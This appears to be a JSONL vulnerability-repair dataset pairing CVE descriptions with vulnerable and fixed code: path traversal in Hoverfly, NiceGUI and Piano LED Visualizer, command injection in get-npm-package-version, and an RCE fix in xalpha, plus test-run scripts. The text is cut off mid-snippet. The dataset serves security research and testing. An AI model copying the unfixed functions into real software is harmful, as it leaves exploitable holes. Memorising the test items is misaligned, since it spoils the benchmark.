{"cve_id": "CVE-2024-45388", "cve_description": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/SpectoLabs/hoverfly", "patch_url": ["https://github.com/SpectoLabs/hoverfly/commit/40f9b44"], "programing_language": "Go", "vul_func": [{"id": "vul_go_48_1", "commit": "4b6fa36", "file_path": "core/hoverfly_funcs.go", "start_line": 186, "end_line": 197, "snippet": "func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}"}], "fix_func": [{"id": "fix_go_48_1", "commit": "40f9b44", "file_path": "core/hoverfly_funcs.go", "start_line": 186, "end_line": 202, "snippet": "func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tresolvedPath, err := util.ResolveAndValidatePath(hf.Cfg.ResponsesBodyFilesPath, filePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfileContents, err := os.ReadFile(resolvedPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}"}, {"id": "fix_go_48_2", "commit": "40f9b44", "file_path": "core/util/util.go", "start_line": 522, "end_line": 548, "snippet": "func ResolveAndValidatePath(basePath, relativePath string) (string, error) {\n\tabsBasePath, err := filepath.Abs(basePath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get absolute base path: %v\", err)\n\t}\n\n\tcleanRelativePath := filepath.Clean(relativePath)\n\n\t// Check if the relative path starts with \"..\"\n\tif strings.HasPrefix(cleanRelativePath, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"relative path is invalid as it attempts to backtrack\")\n\t}\n\n\tresolvedPath := filepath.Join(absBasePath, cleanRelativePath)\n\n\t// Verify that the resolved path is indeed a subpath of the base path\n\tfinalPath, err := filepath.Rel(absBasePath, resolvedPath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get relative path: %v\", err)\n\t}\n\n\tif strings.HasPrefix(finalPath, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"resolved path is outside the base path\")\n\t}\n\n\treturn resolvedPath, nil\n}"}], "vul_patch": "--- a/core/hoverfly_funcs.go\n+++ b/core/hoverfly_funcs.go\n@@ -3,7 +3,12 @@\n \t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n \t}\n \n-\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n+\tresolvedPath, err := util.ResolveAndValidatePath(hf.Cfg.ResponsesBodyFilesPath, filePath)\n+\tif err != nil {\n+\t\treturn \"\", err\n+\t}\n+\n+\tfileContents, err := os.ReadFile(resolvedPath)\n \tif err != nil {\n \t\treturn \"\", err\n \t}\n\n--- /dev/null\n+++ b/core/hoverfly_funcs.go\n@@ -0,0 +1,27 @@\n+func ResolveAndValidatePath(basePath, relativePath string) (string, error) {\n+\tabsBasePath, err := filepath.Abs(basePath)\n+\tif err != nil {\n+\t\treturn \"\", fmt.Errorf(\"failed to get absolute base path: %v\", err)\n+\t}\n+\n+\tcleanRelativePath := filepath.Clean(relativePath)\n+\n+\t// Check if the relative path starts with \"..\"\n+\tif strings.HasPrefix(cleanRelativePath, \"..\") {\n+\t\treturn \"\", fmt.Errorf(\"relative path is invalid as it attempts to backtrack\")\n+\t}\n+\n+\tresolvedPath := filepath.Join(absBasePath, cleanRelativePath)\n+\n+\t// Verify that the resolved path is indeed a subpath of the base path\n+\tfinalPath, err := filepath.Rel(absBasePath, resolvedPath)\n+\tif err != nil {\n+\t\treturn \"\", fmt.Errorf(\"failed to get relative path: %v\", err)\n+\t}\n+\n+\tif strings.HasPrefix(finalPath, \"..\") {\n+\t\treturn \"\", fmt.Errorf(\"resolved path is outside the base path\")\n+\t}\n+\n+\treturn resolvedPath, nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-45388:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/hoverfly\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestReadResponseBodyFile$ github.com/SpectoLabs/hoverfly/core\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-45388:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/hoverfly\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(Test_Identical_ReturnsFalseWithDifferentArrayOfSameLength|Test_SortQueryString_ReordersQueryValuesAlphabetically|Test_MinifyJson_ErrorsOnInvalidJsonString|Test_GetContentTypeFromHeaders_ReturnsEmptyStringIfHeadersAreNil|Test_Contains_ReturnsFalseWithContainingNoneOfValuesSpecified|Test_SortQueryString_ReordersQueryValuesNumerically|Test_Identical_ReturnsTrue_WithExactlySameArray|Test_MinifyXml_SimplifiesXmlString|Test_GetResponseBody_GettingTheResponseBodySetsTheSameBodyAgain|Test_SortQueryString_KeepsAsteriskInTact|Test_SortQueryString_PreservesEqualsAndEmptyValueQuery|Test_MinifyJson_MinifiesJsonString|Test_ContainsOnly_ReturnsTrueWithIdenticalArray|Test_GetContentTypeFromHeaders_ReturnsXmlIfXml|Test_Contains_ReturnsTrueWithContainingOneOfValues|Test_SortQueryString_PreservesBothEqualsAndNoEqualsWithEmptyValue|Test_CopyMap|Test_Identical_ReturnsFalseWithDifferentArrayOfDifferentLength|Test_GetContentTypeFromHeaders_ReturnsJsonIfJson|Test_Contains_ReturnsTrueWithContainingBothValues|Test_ContainsOnly_ReturnsTrueWithArrayContainingOnlyValuesWithDups|Test_GetContentTypeFromHeaders_ReturnsEmptyStringIfHeadersAreEmpty|Test_ContainsOnly_ReturnsFalseWithEmptyArrayMatcher|Test_GetResponseBody_GettingTheResponseBodyGetsTheCorrectData|Test_JSONMarshal_MarshalsIntoJson|Test_GetRequestBody_GettingTheRequestBodySetsTheSameBodyAgain|Test_ContainsOnly_ReturnsTrueWithArrayInDifferentOrder|Test_GetRequestBody_GettingTheRequestBodyGetsTheCorrectData|Test_SortQueryString_PreservesNoEqualsAndEmptyValueQuery|Test_MinifyXml_MinifiesXmlString|Test_ContainsOnly_ReturnsTrueWithSubsetOfValues|Test_SortQueryString_ReordersQueryStringAlphabetically|Test_ContainsOnly_ReturnFalseWithOneExtraValue|Test_Contains_ReturnsFalseWithEmptyArrayMatcher|Test_SortQueryString_ReordersQueryValuesAlphanumerically|Test_GetRequestBody_DecompressGzipContent)$' github.com/SpectoLabs/hoverfly/core/util"}
{"cve_id": "CVE-2020-7795", "cve_description": "The package get-npm-package-version before 1.0.7 are vulnerable to Command Injection via main function in index.js.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/hoperyy/get-npm-package-version", "patch_url": ["https://github.com/hoperyy/get-npm-package-version/commit/40b1cf31a0607ea66f9e30a0c3af1383b52b2dec", "https://github.com/hoperyy/get-npm-package-version/commit/49459d4a3ce68587d48ffa8dead86fc9ed58e965"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_16_1", "commit": "5279786", "file_path": "index.js", "start_line": 1, "end_line": 28, "snippet": "module.exports = function (packageName, { registry = '', timeout = null } = {}) {\n    try {\n        let version;\n\n        const config = {\n            stdio: ['pipe', 'pipe', 'ignore']\n        };\n\n        if (timeout) {\n            config.timeout = timeout;\n        }\n\n        if (registry) {\n            version = require('child_process').execSync(`npm view ${packageName} version --registry ${registry}`, config);\n        } else {\n            version = require('child_process').execSync(`npm view ${packageName} version`, config);\n        }\n\n        if (version) {\n            return version.toString().trim().replace(/^\\n*/, '').replace(/\\n*$/, '');\n        } else {\n            return null;\n        }\n\n    } catch(err) {\n        return null;\n    }\n}"}], "fix_func": [{"id": "fix_js_16_1", "commit": "40b1cf3", "file_path": "index.js", "start_line": 1, "end_line": 31, "snippet": "module.exports = function (packageName, { registry = '', timeout = null } = {}) {\n    try {\n        if (/[`$&{}[;|]/g.test(packageName) || /[`$&{}[;|]/g.test(registry)) {\n            return null\n        }\n        let version;\n\n        const config = {\n            stdio: ['pipe', 'pipe', 'ignore']\n        };\n\n        if (timeout) {\n            config.timeout = timeout;\n        }\n\n        if (registry) {\n            version = require('child_process').execSync(`npm view ${packageName} version --registry ${registry}`, config);\n        } else {\n            version = require('child_process').execSync(`npm view ${packageName} version`, config);\n        }\n\n        if (version) {\n            return version.toString().trim().replace(/^\\n*/, '').replace(/\\n*$/, '');\n        } else {\n            return null;\n        }\n\n    } catch(err) {\n        return null;\n    }\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,8 @@\n module.exports = function (packageName, { registry = '', timeout = null } = {}) {\n     try {\n+        if (/[`$&{}[;|]/g.test(packageName) || /[`$&{}[;|]/g.test(registry)) {\n+            return null\n+        }\n         let version;\n \n         const config = {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7795:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/get-npm-package-version\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7795:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/get-npm-package-version\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpm test"}
{"cve_id": "CVE-2023-37659", "cve_description": "xalpha v0.11.4 is vulnerable to Remote Command Execution (RCE).", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/refraction-ray/xalpha", "patch_url": ["https://github.com/refraction-ray/xalpha/commit/6dceaa159a1a319d750ade20a4595956876657b6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_94_1", "commit": "06a161f", "file_path": "xalpha/info.py", "start_line": "521", "end_line": "568", "snippet": "    def __init__(\n        self,\n        code,\n        round_label=0,\n        dividend_label=0,\n        fetch=False,\n        save=False,\n        path=\"\",\n        form=\"csv\",\n        priceonly=False,\n    ):\n        if round_label == 1 or (code in droplist):\n            label = 1  # the scheme of round down on share purchase\n        else:\n            label = 0\n        if code.startswith(\"F\") and code[1:].isdigit():\n            code = code[1:]\n        elif code.startswith(\"M\") and code[1:].isdigit():\n            raise FundTypeError(\n                \"This code seems to be a mfund, use ``mfundinfo`` instead\"\n            )\n        code = code.zfill(6)  # 1234 is the same as 001234\n        self._url = (\n            \"http://fund.eastmoney.com/pingzhongdata/\" + code + \".js\"\n        )  # js url api for info of certain fund\n        self._feeurl = (\n            \"http://fund.eastmoney.com/f10/jjfl_\" + code + \".html\"\n        )  # html url for trade fees info of certain fund\n        self.priceonly = priceonly\n\n        super().__init__(\n            code,\n            fetch=fetch,\n            save=save,\n            path=path,\n            form=form,\n            round_label=label,\n            dividend_label=dividend_label,\n        )\n\n        self.special = self.price[self.price[\"comment\"] != 0]\n        self.specialdate = list(self.special[\"date\"])\n        # date with nonvanishing comment, usually fenhong or zhesuan\n        try:\n            self.fenhongdate = list(self.price[self.price[\"comment\"] > 0][\"date\"])\n            self.zhesuandate = list(self.price[self.price[\"comment\"] < 0][\"date\"])\n        except TypeError:\n            print(\"There are still string comments for the fund!\")"}], "fix_func": [{"id": "fix_py_94_1", "commit": "6dceaa1", "file_path": "xalpha/info.py", "start_line": "521", "end_line": "570", "snippet": "    def __init__(\n        self,\n        code,\n        round_label=0,\n        dividend_label=0,\n        fetch=False,\n        save=False,\n        path=\"\",\n        form=\"csv\",\n        priceonly=False,\n    ):\n        if round_label == 1 or (code in droplist):\n            label = 1  # the scheme of round down on share purchase\n        else:\n            label = 0\n        if code.startswith(\"F\") and code[1:].isdigit():\n            code = code[1:]\n        elif code.startswith(\"M\") and code[1:].isdigit():\n            raise FundTypeError(\n                \"This code seems to be a mfund, use ``mfundinfo`` instead\"\n            )\n        code = code.zfill(6)  # 1234 is the same as 001234\n        assert code.isdigit(), \"fund code must be a strin of six digits\"\n        assert len(code) == 6, \"fund code must be a strin of six digits\"\n        self._url = (\n            \"http://fund.eastmoney.com/pingzhongdata/\" + code + \".js\"\n        )  # js url api for info of certain fund\n        self._feeurl = (\n            \"http://fund.eastmoney.com/f10/jjfl_\" + code + \".html\"\n        )  # html url for trade fees info of certain fund\n        self.priceonly = priceonly\n\n        super().__init__(\n            code,\n            fetch=fetch,\n            save=save,\n            path=path,\n            form=form,\n            round_label=label,\n            dividend_label=dividend_label,\n        )\n\n        self.special = self.price[self.price[\"comment\"] != 0]\n        self.specialdate = list(self.special[\"date\"])\n        # date with nonvanishing comment, usually fenhong or zhesuan\n        try:\n            self.fenhongdate = list(self.price[self.price[\"comment\"] > 0][\"date\"])\n            self.zhesuandate = list(self.price[self.price[\"comment\"] < 0][\"date\"])\n        except TypeError:\n            print(\"There are still string comments for the fund!\")"}], "vul_patch": "--- a/xalpha/info.py\n+++ b/xalpha/info.py\n@@ -20,6 +20,8 @@\n                 \"This code seems to be a mfund, use ``mfundinfo`` instead\"\n             )\n         code = code.zfill(6)  # 1234 is the same as 001234\n+        assert code.isdigit(), \"fund code must be a strin of six digits\"\n+        assert len(code) == 6, \"fund code must be a strin of six digits\"\n         self._url = (\n             \"http://fund.eastmoney.com/pingzhongdata/\" + code + \".js\"\n         )  # js url api for info of certain fund\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-32005", "cve_description": "NiceGUI is an easy-to-use, Python-based UI framework. A local file inclusion is present in the NiceUI leaflet component when requesting resource files under the `/_nicegui/{__version__}/resources/{key}/{path:path}` route. As a result any file on the backend filesystem which the web server has access to can be read by an attacker with access to the NiceUI leaflet website. This vulnerability has been addressed in version 1.4.21. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/zauberzeug/nicegui", "patch_url": ["https://github.com/zauberzeug/nicegui/commit/ed12eb14f2a6c48b388a05c04b3c5a107ea9d330"], "programing_language": "Python", "vul_func": [{"id": "vul_py_123_1", "commit": "7c3e01a", "file_path": "nicegui/nicegui.py", "start_line": 96, "end_line": 103, "snippet": "def _get_resource(key: str, path: str) -> FileResponse:\n    if key in resources:\n        filepath = resources[key].path / path\n        if filepath.exists():\n            headers = {'Cache-Control': 'public, max-age=3600'}\n            media_type, _ = mimetypes.guess_type(filepath)\n            return FileResponse(filepath, media_type=media_type, headers=headers)\n    raise HTTPException(status_code=404, detail=f'resource \"{key}\" not found')"}], "fix_func": [{"id": "fix_py_123_1", "commit": "ed12eb1", "file_path": "nicegui/nicegui.py", "start_line": 96, "end_line": 107, "snippet": "def _get_resource(key: str, path: str) -> FileResponse:\n    if key in resources:\n        filepath = resources[key].path / path\n        try:\n            filepath.resolve().relative_to(resources[key].path.resolve())  # NOTE: use is_relative_to() in Python 3.9\n        except ValueError as e:\n            raise HTTPException(status_code=403, detail='forbidden') from e\n        if filepath.exists():\n            headers = {'Cache-Control': 'public, max-age=3600'}\n            media_type, _ = mimetypes.guess_type(filepath)\n            return FileResponse(filepath, media_type=media_type, headers=headers)\n    raise HTTPException(status_code=404, detail=f'resource \"{key}\" not found')"}], "vul_patch": "--- a/nicegui/nicegui.py\n+++ b/nicegui/nicegui.py\n@@ -1,6 +1,10 @@\n def _get_resource(key: str, path: str) -> FileResponse:\n     if key in resources:\n         filepath = resources[key].path / path\n+        try:\n+            filepath.resolve().relative_to(resources[key].path.resolve())  # NOTE: use is_relative_to() in Python 3.9\n+        except ValueError as e:\n+            raise HTTPException(status_code=403, detail='forbidden') from e\n         if filepath.exists():\n             headers = {'Cache-Control': 'public, max-age=3600'}\n             media_type, _ = mimetypes.guess_type(filepath)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24900", "cve_description": "Piano LED Visualizer is software that allows LED lights to light up as a person plays a piano connected to a computer. Version 1.3 and prior are vulnerable to a path traversal attack. The `os.path.join` call is unsafe for use with untrusted input. When the `os.path.join` call encounters an absolute path, it ignores all the parameters it has encountered till that point and starts working with the new absolute path. Since the \"malicious\" parameter represents an absolute path, the result of `os.path.join` ignores the static directory completely. Hence, untrusted input is passed via the `os.path.join` call to `flask.send_file` can lead to path traversal attacks. A patch with a fix is available on the `master` branch of the GitHub repository. This can also be fixed by preventing flow of untrusted data to the vulnerable `send_file` function. In case the application logic necessiates this behaviour, one can either use the `flask.safe_join` to join untrusted paths or replace `flask.send_file` calls with `flask.send_from_directory` calls.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/onlaj/Piano-LED-Visualizer", "patch_url": ["https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_105_1", "commit": "6a732ca", "file_path": "webinterface/views_api.py", "start_line": "145", "end_line": "1114", "snippet": "def change_setting():\n    setting_name = request.args.get('setting_name')\n    value = request.args.get('value')\n    second_value = request.args.get('second_value')\n    disable_sequence = request.args.get('disable_sequence')\n\n    reload_sequence = True\n    if (second_value == \"no_reload\"):\n        reload_sequence = False\n\n    if (disable_sequence == \"true\"):\n        webinterface.ledsettings.__init__(webinterface.usersettings)\n        webinterface.ledsettings.sequence_active = False\n\n    if setting_name == \"clean_ledstrip\":\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"led_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        webinterface.ledsettings.color_mode = \"Single\"\n\n        webinterface.ledsettings.red = rgb[0]\n        webinterface.ledsettings.green = rgb[1]\n        webinterface.ledsettings.blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"color_mode\", webinterface.ledsettings.color_mode)\n        webinterface.usersettings.change_setting_value(\"red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"light_mode\":\n        webinterface.ledsettings.mode = value\n        webinterface.usersettings.change_setting_value(\"mode\", value)\n\n    if setting_name == \"fading_speed\" or setting_name == \"velocity_speed\":\n        webinterface.ledsettings.fadingspeed = int(value)\n        webinterface.usersettings.change_setting_value(\"fadingspeed\", webinterface.ledsettings.fadingspeed)\n\n    if setting_name == \"brightness\":\n        webinterface.usersettings.change_setting_value(\"brightness_percent\", int(value))\n        webinterface.ledstrip.change_brightness(int(value), True)\n\n    if setting_name == \"backlight_brightness\":\n        webinterface.ledsettings.backlight_brightness_percent = int(value)\n        webinterface.ledsettings.backlight_brightness = 255 * webinterface.ledsettings.backlight_brightness_percent / 100\n        webinterface.usersettings.change_setting_value(\"backlight_brightness\",\n                                                       int(webinterface.ledsettings.backlight_brightness))\n        webinterface.usersettings.change_setting_value(\"backlight_brightness_percent\",\n                                                       webinterface.ledsettings.backlight_brightness_percent)\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"backlight_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        webinterface.ledsettings.backlight_red = rgb[0]\n        webinterface.ledsettings.backlight_green = rgb[1]\n        webinterface.ledsettings.backlight_blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"backlight_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"backlight_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"backlight_blue\", rgb[2])\n\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"sides_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        webinterface.ledsettings.adjacent_red = rgb[0]\n        webinterface.ledsettings.adjacent_green = rgb[1]\n        webinterface.ledsettings.adjacent_blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"adjacent_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"adjacent_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"adjacent_blue\", rgb[2])\n\n    if setting_name == \"sides_color_mode\":\n        webinterface.ledsettings.adjacent_mode = value\n        webinterface.usersettings.change_setting_value(\"adjacent_mode\", value)\n\n    if setting_name == \"input_port\":\n        webinterface.usersettings.change_setting_value(\"input_port\", value)\n        webinterface.midiports.change_port(\"inport\", value)\n\n    if setting_name == \"secondary_input_port\":\n        webinterface.usersettings.change_setting_value(\"secondary_input_port\", value)\n\n    if setting_name == \"play_port\":\n        webinterface.usersettings.change_setting_value(\"play_port\", value)\n        webinterface.midiports.change_port(\"playport\", value)\n\n    if setting_name == \"skipped_notes\":\n        webinterface.usersettings.change_setting_value(\"skipped_notes\", value)\n        webinterface.ledsettings.skipped_notes = value\n\n    if setting_name == \"add_note_offset\":\n        webinterface.ledsettings.add_note_offset()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"append_note_offset\":\n        webinterface.ledsettings.append_note_offset()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"remove_note_offset\":\n        webinterface.ledsettings.del_note_offset(int(value) + 1)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"note_offsets\":\n        webinterface.usersettings.change_setting_value(\"note_offsets\", value)\n\n    if setting_name == \"update_note_offset\":\n        webinterface.ledsettings.update_note_offset(int(value) + 1, second_value)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"led_count\":\n        webinterface.usersettings.change_setting_value(\"led_count\", int(value))\n        webinterface.ledstrip.change_led_count(int(value), True)\n\n    if setting_name == \"shift\":\n        webinterface.usersettings.change_setting_value(\"shift\", int(value))\n        webinterface.ledstrip.change_shift(int(value), True)\n\n    if setting_name == \"reverse\":\n        webinterface.usersettings.change_setting_value(\"reverse\", int(value))\n        webinterface.ledstrip.change_reverse(int(value), True)\n\n    if setting_name == \"color_mode\":\n        reload_sequence = True\n        if (second_value == \"no_reload\"):\n            reload_sequence = False\n\n        webinterface.ledsettings.color_mode = value\n        webinterface.usersettings.change_setting_value(\"color_mode\", webinterface.ledsettings.color_mode)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_multicolor\":\n        webinterface.ledsettings.addcolor()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"add_multicolor_and_set_value\":\n        settings = json.loads(value)\n\n        webinterface.ledsettings.multicolor.clear()\n        webinterface.ledsettings.multicolor_range.clear()\n\n        for key, value in settings.items():\n            rgb = wc.hex_to_rgb(\"#\" + value[\"color\"])\n\n            webinterface.ledsettings.multicolor.append([int(rgb[0]), int(rgb[1]), int(rgb[2])])\n            webinterface.ledsettings.multicolor_range.append([int(value[\"range\"][0]), int(value[\"range\"][1])])\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\",\n                                                       webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True)\n\n    if setting_name == \"remove_multicolor\":\n        webinterface.ledsettings.deletecolor(int(value) + 1)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"multicolor\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.multicolor[int(second_value)][0] = rgb[0]\n        webinterface.ledsettings.multicolor[int(second_value)][1] = rgb[1]\n        webinterface.ledsettings.multicolor[int(second_value)][2] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"multicolor_range_left\":\n        webinterface.ledsettings.multicolor_range[int(second_value)][0] = int(value)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"multicolor_range_right\":\n        webinterface.ledsettings.multicolor_range[int(second_value)][1] = int(value)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"remove_all_multicolors\":\n        webinterface.ledsettings.multicolor.clear()\n        webinterface.ledsettings.multicolor_range.clear()\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n        return jsonify(success=True)\n\n    if setting_name == \"rainbow_offset\":\n        webinterface.ledsettings.rainbow_offset = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_offset\",\n                                                       int(webinterface.ledsettings.rainbow_offset))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"rainbow_scale\":\n        webinterface.ledsettings.rainbow_scale = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_scale\",\n                                                       int(webinterface.ledsettings.rainbow_scale))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"rainbow_timeshift\":\n        webinterface.ledsettings.rainbow_timeshift = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_timeshift\",\n                                                       int(webinterface.ledsettings.rainbow_timeshift))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_slowest_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.speed_slowest[\"red\"] = rgb[0]\n        webinterface.ledsettings.speed_slowest[\"green\"] = rgb[1]\n        webinterface.ledsettings.speed_slowest[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"speed_slowest_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"speed_slowest_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"speed_slowest_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_fastest_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.speed_fastest[\"red\"] = rgb[0]\n        webinterface.ledsettings.speed_fastest[\"green\"] = rgb[1]\n        webinterface.ledsettings.speed_fastest[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"speed_fastest_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"speed_fastest_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"speed_fastest_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"gradient_start_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.gradient_start[\"red\"] = rgb[0]\n        